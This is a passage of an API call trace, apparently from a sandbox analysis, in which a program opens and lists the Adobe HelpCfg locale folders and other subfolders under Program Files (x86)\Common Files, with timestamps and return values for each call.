	[0054.747] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\en_us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.747] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.748] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\es_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.748] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.748] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\eu_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.749] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.749] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fi_fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.749] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.750] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fr_fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.750] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.751] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hr_hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.751] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.752] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hu_hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.752] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.753] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\it_it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.753] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.753] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ja_jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.753] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.754] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ko_kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.754] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.754] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nb_no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.754] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.755] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nl_nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.755] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.755] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pl_pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.755] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.755] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pt_br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.755] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.756] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ro_ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.757] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.757] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ru_ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.757] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.758] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sk_sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.758] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.758] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sl_si"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.758] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.759] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sv_se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.759] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.760] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\tr_tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.760] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.760] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\uk_ua"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.760] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.761] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.761] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.761] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.761] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java" (normalized: "c:\\program files (x86)\\common files\\java"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.762] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\*", lpFindFileData=0x1251b97c | out: lpFindFileData=0x1251b97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" (normalized: "c:\\program files (x86)\\common files\\java\\java update"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.762] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.766] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Services" (normalized: "c:\\program files (x86)\\common files\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.766] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\*", lpFindFileData=0x1251b97c | out: lpFindFileData=0x1251b97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.767] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines" (normalized: "c:\\program files (x86)\\common files\\speechengines"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
